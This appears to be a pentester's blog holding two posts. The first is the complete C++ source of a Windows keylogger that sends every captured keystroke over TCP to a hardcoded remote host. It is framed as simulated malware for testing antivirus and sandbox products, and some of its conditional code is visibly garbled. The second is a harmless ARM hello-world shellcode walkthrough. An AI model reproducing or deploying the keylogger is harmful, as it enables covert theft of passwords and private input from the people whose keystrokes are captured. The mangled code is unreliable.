A basic keylogger for Windows

For testing security software and hardware I wrote a very simple keylogger (which is very noisy). Together with the winexec shellcode I wrote earlier it is possible to download and start the keylogger which simulates a very simple malware. My idea is it to have a some tools (when I will have more time to program 🙂 ), that help testing all the nice antivirus, sandboxing and so on solutions for my daily pentesting job, from exploitation on. That also includes antivirus evasion tools (based on https://github.com/govolution/avepoc).

How it works
Start the executable on the “target” system. Start nc on the “attacking” system.

2015-07-14 14_22_46-WinXP_1 (Ausgangspunkt für WinXP_1 und WinXP_1-Klon) [wird ausgeführt] - Oracle

From a technical point of view there is nothing spectacular to see here. The function used for getting what keys are pressed is GetAsyncKeyState (see here).

Code for the keylogger

/* Tested: Windows XP/7/8
 * Compiler: mingw
 * Compile with: g++ WinKeylog.cpp -lWs2_32
 * Some of the code is from:
 * http://www.online-tutorials.net/system/keylogger-tastatur-abfragen/sourcecodes-t-19-270.html
 */

#include <string.h>  
#include <iostream> 
#include <winsock2.h> 
 
std::string GetKey(int Key) 
{ 
	std::string KeyString = ""; 

	if (Key == 8) 
		KeyString = "[delete]"; 
	if (Key == 13) 
		KeyString = "\n"; 
	if (Key == 32) 
		KeyString = " "; 
	if (Key == VK_PAUSE) 
		KeyString = "[PAUSE]"; 
	if (Key == VK_CAPITAL) 
		KeyString = "[CAPITAL]"; 
	if (Key == VK_SHIFT) 
		KeyString = "[SHIFT]"; 
	if (Key == VK_TAB) 
		KeyString = "[TABULATOR]"; 
	if (Key == VK_CONTROL)
		KeyString = "[CTRL]"; 
	if (Key == VK_ESCAPE) 
		KeyString = "[ESCAPE]"; 
	if (Key == VK_END) 
		KeyString = "[END]"; 
	if (Key == VK_HOME) 
		KeyString = "[HOME]"; 
	if (Key == VK_LEFT) 
		KeyString = "[LEFT]"; 
	if (Key == VK_RIGHT) 
		KeyString = "[RIGHT]"; 
	
	if (Key >=96 && Key  47 && Key  64 && Key < 91) 
		{ 
			if (GetKeyState(VK_CAPITAL)) 
				KeyString = Key; 
			else 
			{ 
				Key = Key + 32; 
				KeyString = Key; 
			} 
		} 
	} 

	return KeyString; 
} 

int main() 
{ 
	WSAData version;     
	WORD mkword=MAKEWORD(2,2);
	WSAStartup(mkword,&version);

	SOCKET u_sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

	sockaddr_in addr;
	addr.sin_family=AF_INET;
	addr.sin_addr.s_addr=inet_addr("192.168.10.29");
	addr.sin_port=htons(80);

	int conn=connect(u_sock,(SOCKADDR*)&addr,sizeof(addr));
	if(conn==SOCKET_ERROR) {
		closesocket(u_sock);
		WSACleanup();
	}

	char vect[512]={0};

	std::string TempString = ""; 

	while(true) 
	{ 
		Sleep(5); 

		for(int i = 8; i < 191; i++) 
		{ 
			if(GetAsyncKeyState(i)&1 ==1) 
			{ 
				TempString = GetKey (i); 
				int smsg=send(u_sock, TempString.c_str(), TempString.length(), 0);
				if(smsg==SOCKET_ERROR)
					WSACleanup();
			} 
		} 
	}
	closesocket(u_sock);
	return 1; 
}  

The code can also be found here.

Raspberry Pi & ARM Shellcoding

Lately I was playing with my Raspberry Pi B with a Raspian GNU/Linux 7 and this is a short walkthrough with a hello world example.

For a more in depth introduction for ARM shellcoding look here:
http://shell-storm.org/blog/Shellcode-On-ARM-Architecture/

Adopted from that article here is the example:

.section .text
.global _start

_start:

.code 32
add r6, pc, #1
bx r6

.code 16
# write
mov r2, #12
mov r1, pc
add r1, #14
mov r0, $0x1
mov r7, $0x4
svc 1

# exit
sub r4, r4, r4
mov r0, r4
mov r7, $0x1
svc 1

.ascii "hello world\n"

Building:

$ as -mthumb -o hello.o hello.s
$ ld -o hello hello.o

With the following script it is easy to dump the shellcode:

# dump ARM shellcode
# for 32bit code
# call: ./dumpsc.sh binaryfile

#!/bin/bash
objdump -d $1 | cut -d ":" -f2 | cut -d " " -f1 | tr -d ' \t\r\f' > sctempfile.txt.tmp

while read line
  do
  l=${#line}
  if [ $l = "4" ];
    then echo "\"\\x${line:2:2}\\x${line:0:2}\""
  fi
  if [ $l = "8" ];
    then echo "\"\\x${line:6:2}\\x${line:4:2}\\x${line:2:2}\\x${line:0:2}\""
  fi

done <sctempfile.txt.tmp

rm sctempfile.txt.tmp

And the corresponding c program:

#include <stdio.h>
#include <string.h>

char *sc =
"\x01\x60\x8f\xe2"
"\x16\xff\x2f\xe1"
"\x0c\x22"
"\x79\x46"
"\x0e\x31"
"\x01\x20"
"\x04\x27"
"\x01\xdf"
"\x24\x1b"
"\x20\x1c"
"\x01\x27"
"\x01\xdf"
"\x68\x65\x6c\x6c"
"\x6f\x20\x77\x6f"
"\x72\x6c\x64\x0a"

int main(void)
{
  (*(void(*)()) sc)();
  return 0;
}

That was it for now, hope I will have some time to port a bindshellcode to ARM.